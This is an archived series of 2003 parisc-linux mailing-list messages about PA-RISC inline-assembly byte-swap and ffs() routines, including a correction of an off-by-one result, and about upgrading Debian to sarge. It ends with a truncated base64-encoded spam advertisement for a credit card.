User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19073

On Fri, Aug 01, 2003 at 10:22:55AM -0600, LaMont Jones wrote:
> Any comments before I commit it to 2.4 and 2.5?

Here's what I came up with based on your patch.  It's embedded in a
test program.

#include <stdio.h>

typedef int __u32;

static int vanilla_swab24(int i)
{
        return ((i & 0xff) << 16) | (i & 0xff00) | ((i & 0xff0000) >> 16);
}

static __inline__ __const__ __u32 ___arch__swab24(__u32 x)
{
        __asm__("shd %0, %0, 8, %0\n\t"         /* shift xabcxabc -> cxab */
                "dep %0, 15, 8, %0\n\t"         /* deposit cxab -> cbab */
                "shd %%r0, %0, 8, %0"           /* shift 0000cbab -> 0cba */
                : "=r" (x)
                : "0" (x));
        return x;
}

int main(void)
{
        int i; 
        for (i = 0; i < 0x1ffffff; i++) { 
                if (___arch__swab24(i) != vanilla_swab24(i))
                        printf("Problem with i = %d\n", i);
        }
        return 0;
}


-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: Fri, 1 Aug 2003 19:09:37 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3F29178A000004FF@ocpmta7.freegates.net>
References: <1059753543.2092.30.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622640 28668 80.91.229.3 (22 Nov 2014 02:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 11:09:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65A04482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 11:09:41 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19idMQ-0005sG-00; Fri, 01 Aug 2003 19:06:34 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 1 Aug 2003 19:09:37 +0200
In-Reply-To: <1059753543.2092.30.camel@mulgrave>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19074

> Actually, this patch looks decidedly non-optimal.

> See include/linux/bitops.h:generic_ffs for how it should be done on
> architectures that don't have any machine instruction help.  That's only
> four if statements and no loop.

Yes it was like this (just a lake of #include <linux/bitops.h>) into 2.4

Why was it is changed in 2.5?

> I see we already have the loop thing in 2.5, but should we consider
> simply using the generic operations there as well?

> even for __ffs, which is just a slight optimisation over ffs, using
> generic_ffs would probably be faster

If I have time next week I can test your idea.

Thanks,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@hp.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: Fri, 1 Aug 2003 11:14:26 -0600
Lines: 89
Approved: news@gmane.org
Message-ID: <20030801171426.GA18508@security.hp.com>
References: <1059753543.2092.30.camel@mulgrave> <3F29178A000004FF@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622641 28670 80.91.229.3 (22 Nov 2014 02:17:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org, lamont@hp.com
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 11:14:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C042482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 11:14:33 -0600 (MDT)
Original-Received: from security.hp.com (security.hp.com [15.238.4.200])
	by atlrel9.hp.com (Postfix) with ESMTP
	id DF3B71C01F34; Fri,  1 Aug 2003 13:14:32 -0400 (EDT)
Original-Received: by security.hp.com (Postfix, from userid 1000)
	id 15AA5B1903; Fri,  1 Aug 2003 11:14:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F29178A000004FF@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19075

On Fri, Aug 01, 2003 at 07:09:37PM +0200, Joel Soete wrote:
> > Actually, this patch looks decidedly non-optimal.

Here's a more optimal ffs() routine for hppa, along with the
output from the test program...  Should run in ~15 states on
just about anything [yes, it's that lock-stepped that it'll
take about 15 states on PA-8000's as well.. :-(]

Freshly coded, since the hp-ux version (which I can't find
anymore) looked for most significant set bit, not least.

lamont

#include <stdio.h>

int fastffs(int x)
{
	int ret;
	__asm__(" ldi		31,%1\n"
		" extru,<>	%0,31,16,%%r0\n"
		" extru,TR	%0,15,16,%0\n"
		" addi		-16,%1,%1\n"
		" extru,<>	%0,31,8,%%r0\n"
		" extru,TR	%0,23,8,%0\n"
		" addi		-8,%1,%1\n"
		" extru,<>	%0,31,4,%%r0\n"
		" extru,TR	%0,27,4,%0\n"
		" addi		-4,%1,%1\n"
		" extru,<>	%0,31,2,%%r0\n"
		" extru,TR	%0,29,2,%0\n"
		" addi		-2,%1,%1\n"
		" extru,=	%0,31,1,%%r0\n"
		" addi		-1,%1,%1\n"
		: "=r" (x), "=r" (ret)
		: "0" (x), "1" (ret));
	return ret;
}
doffs(x)
{
	printf("fastffs(%x)==%d\n",x,fastffs(x));
}
main()
{
	int i;
	for (i=0;i<5;i++)
		doffs(i);
	for (;i;i<<=1)
		doffs(i);
}


ffs(0)==31
ffs(1)==0
ffs(2)==1
ffs(3)==0
ffs(4)==2
ffs(5)==0
ffs(a)==1
ffs(14)==2
ffs(28)==3
ffs(50)==4
ffs(a0)==5
ffs(140)==6
ffs(280)==7
ffs(500)==8
ffs(a00)==9
ffs(1400)==10
ffs(2800)==11
ffs(5000)==12
ffs(a000)==13
ffs(14000)==14
ffs(28000)==15
ffs(50000)==16
ffs(a0000)==17
ffs(140000)==18
ffs(280000)==19
ffs(500000)==20
ffs(a00000)==21
ffs(1400000)==22
ffs(2800000)==23
ffs(5000000)==24
ffs(a000000)==25
ffs(14000000)==26
ffs(28000000)==27
ffs(50000000)==28
ffs(a0000000)==29
ffs(40000000)==30
ffs(80000000)==31


From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __arch__swab24()
Date: Fri, 1 Aug 2003 19:21:02 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3F29178A00000509@ocpmta7.freegates.net>
References: <20030801170022.GX22222@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622641 28671 80.91.229.3 (22 Nov 2014 02:17:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, lamont@hp.com
To: "Matthew Wilcox" <willy@debian.org>,
	"LaMont Jones" <lamont@smallone.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 11:21:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92F5F482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Aug 2003 11:21:06 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19idXR-0006i6-00; Fri, 01 Aug 2003 19:17:57 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 1 Aug 2003 19:21:02 +0200
In-Reply-To: <20030801170022.GX22222@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19076

 
>> On Fri, Aug 01, 2003 at 10:22:55AM -0600, LaMont Jones wrote:
>> Any comments before I commit it to 2.4 and 2.5?
>
>Here's what I came up with based on your patch.  It's embedded in a
>test program.

[...]

? no pb on my b180 (32bits kernel 2.4.21-pa6)

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: Fri, 1 Aug 2003 19:25:05 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3F29178A0000050C@ocpmta7.freegates.net>
References: <20030801171426.GA18508@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622641 28674 80.91.229.3 (22 Nov 2014 02:17:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:21 +0000 (UTC)
Cc: "James Bottomley" <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org, lamont@hp.com
To: lamont@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 11:25:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9402E482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 11:25:15 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19idbO-00078Y-00; Fri, 01 Aug 2003 19:22:02 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 1 Aug 2003 19:25:05 +0200
In-Reply-To: <20030801171426.GA18508@security.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19077

>Here's a more optimal ffs() routine for hppa, along with the
>output from the test program...  Should run in ~15 states on
>just about
> anything [yes, it's that lock-stepped that it'll
>take about 15 states on PA-8000's as well.. :-(]
>
>Freshly coded, since the hp-ux version (which I can't find
>anymore) looked for most significant set bit, not least.

Thanks, I will test it on next week,

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] backport bitops.h stuff
Date: 01 Aug 2003 12:33:24 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1059759205.1830.44.camel@mulgrave>
References: <1059753543.2092.30.camel@mulgrave>
	<3F29178A000004FF@ocpmta7.freegates.net> 
	<20030801171426.GA18508@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622642 28677 80.91.229.3 (22 Nov 2014 02:17:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:22 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>, parisc-linux@parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 11:33:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E6B4482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 11:33:35 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h71HXOI12625;
	Fri, 1 Aug 2003 13:33:24 -0400
In-Reply-To: <20030801171426.GA18508@security.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19078

On Fri, 2003-08-01 at 12:14, LaMont Jones wrote:
> ffs(0)==31
> ffs(1)==0
> ffs(2)==1
> ffs(3)==0
> ffs(4)==2
> ffs(80000000)==31

This is off by one.  The definition should say

ffs(0) == 0
ffs(1) == 1
ffs(2) == 2
ffs(4) == 3
...
ffs(0x80000000) == 32

i.e. it returns the first set bit starting counting at one. (Yes, I know
it's confusing, it's tripped me up, especially as ffz counts bits from
zero.  However, ffs is a BSD standard).

Most arch's start by defining an __ffs which is not defined for the zero
case and then build the real ffs from that.

James





From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to install X on 715/50 -- problem with twm
Date: Fri, 1 Aug 2003 17:44:07 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20030801234407.GB20826@dsl2.external.hp.com>
References: <20030801090533.GK727@sleepie.demon.co.uk> <5.2.1.1.2.20030731163951.00b423d0@127.0.0.1> <20030801090533.GK727@sleepie.demon.co.uk> <5.2.1.1.2.20030801102211.00b44308@127.0.0.1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622642 28681 80.91.229.3 (22 Nov 2014 02:17:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Greg Anderson <greg@planetbeagle.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 17:44:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 40360482D; Fri,  1 Aug 2003 17:44:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <5.2.1.1.2.20030801102211.00b44308@127.0.0.1>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19079

On Fri, Aug 01, 2003 at 10:22:46AM -0700, Greg Anderson wrote:
> At 09:22 AM 8/1/2003 -0600, you wrote:
> >correct. For parisc, my preference is to run "sarge" since so much
> >stuff has been fixed since woody released.
> 
> Thanks for the reply.  Now can you tell me how to obtain "sarge."
> Geez, I really *am* a n00bie! ;-)

edit /etc/apt/sources.list and substitute "sarge" for "stable".

then
	apt-get update
	apt-get dist-upgrade

You might to learn how to run dselect and run that as well.
it seems to do a better job with dependencies.

grant


From - Thu Nov 08 21:28:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to install X on 715/50 -- problem with twm
Date: Sat, 2 Aug 2003 02:10:30 +0200
Organization: ESIEE
Lines: 30
Approved: news@gmane.org
Message-ID: <20030802021030.29e587c8.varenet@esiee.fr>
References: <20030801090533.GK727@sleepie.demon.co.uk>
	<5.2.1.1.2.20030731163951.00b423d0@127.0.0.1>
	<20030801090533.GK727@sleepie.demon.co.uk>
	<5.2.1.1.2.20030801102211.00b44308@127.0.0.1>
	<20030801234407.GB20826@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622642 28685 80.91.229.3 (22 Nov 2014 02:17:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:22 +0000 (UTC)
Cc: Greg Anderson <greg@planetbeagle.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 18:10:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA0F5482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Aug 2003 18:10:33 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h720AUrQ024491;
	Sat, 2 Aug 2003 02:10:31 +0200
In-Reply-To: <20030801234407.GB20826@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19080

On Fri, 1 Aug 2003 17:44:07 -0600
Grant Grundler <grundler@parisc-linux.org> wrote:

> On Fri, Aug 01, 2003 at 10:22:46AM -0700, Greg Anderson wrote:
> > At 09:22 AM 8/1/2003 -0600, you wrote:
> > >correct. For parisc, my preference is to run "sarge" since so much
> > >stuff has been fixed since woody released.
> > 
> > Thanks for the reply.  Now can you tell me how to obtain "sarge."
> > Geez, I really *am* a n00bie! ;-)
> 
> edit /etc/apt/sources.list and substitute "sarge" for "stable".
> 
> then
> 	apt-get update
> 	apt-get dist-upgrade
> 
> You might to learn how to run dselect and run that as well.
> it seems to do a better job with dependencies.
> 

Hmm, if Greg wants to go from stable to sarge, he wants to substitute
"stable" for "sarge", or am I wrong ? :)

HTH,

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:28:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Javier Kyle" <tskdpa@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Need a gold vvisa and have bad crediit   Javier Kyle uacin vp
Date: Fri, 01 Aug 2003 23:24:58 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <s7-h18xxzu0-gr-95z$91ybvv1e-$l@x02k.urxrltoq4>
Reply-To: "Javier Kyle" <tskdpa@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="EDA.C5B642DF16.4_"
X-Trace: ger.gmane.org 1416622643 28689 80.91.229.3 (22 Nov 2014 02:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 22:36:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [211.67.173.250])
	by dsl2.external.hp.com (Postfix) with SMTP id AC7DA482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 22:36:23 -0600 (MDT)
Original-Received: from (HELO 1ax) [235.243.152.118]
	by 192.25.206.7 with SMTP;
	Fri, 01 Aug 2003 23:24:58 -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19081

--EDA.C5B642DF16.4_
Content-Type: text/html;
Content-Transfer-Encoding: base64

PGh0bWw+DQoNCjxib2R5Pg0KDQo8Zm9udCBzaXplPSIyIj5ibGVtaXNoZGVkdWN0eHZpZnVt
YSBieHdkemoNCiBrIGdwIHVtIA0KdXVyYmZwc2V4ZXIgYm88L2ZvbnQ+PHAgYWxpZ249ImNl
bnRlciI+SGksIFBhcmlzYy1saW51eCwgRG8geW91IHdhbnQgYQ0KZ29sZHZpc2FjYXJkPzxi
cj4NCjxjZW50ZXI+SWYgeW91IGNhbid0IGdldCBhIGNyZWRpdGNhcmQgb3I8YnI+DQpqdXN0
